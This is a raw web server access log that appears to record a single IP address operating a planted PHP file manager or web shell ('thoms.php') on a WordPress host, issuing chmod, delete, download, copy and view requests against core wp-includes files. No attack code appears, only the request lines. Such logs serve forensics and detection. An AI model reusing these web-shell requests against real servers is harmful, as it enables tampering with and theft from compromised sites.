45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /bossini.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /bossini.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=https-detection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=ms-functions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=revision.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22692 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14958 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 200 16080 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?del=class-wp-term.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59156 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?del=default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:11 -0400] "GET /thoms.php?dl=class-walker-page.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /bossini.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /bossini.com.tw/wp-includes/js/ HTTP/1.1" 200 4147 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59161 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:12 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13861 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?chmod=abilities-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12783 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:13 -0400] "GET /thoms.php?dl=admin-bar.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59141 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17516 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12102 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcron.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fcron.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13254 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17317 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?del=feed-rss.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 200 105442 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:14 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49590 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13723 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /bossini.com.tw/wp-includes/Text/ HTTP/1.1" 200 868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?del=post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?del=rest-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?del=class-pop3.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13821 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:15 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?chmod=class-oembed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /bossini.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /bossini.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?del=class-feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?del=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?chmod=nav-menu.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /bossini.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15893 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:16 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18769 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12328 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /bossini.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?del=sitemaps.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?dl=widgets.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59181 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?del=fonts&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=fonts&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:17 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13440 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:18 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
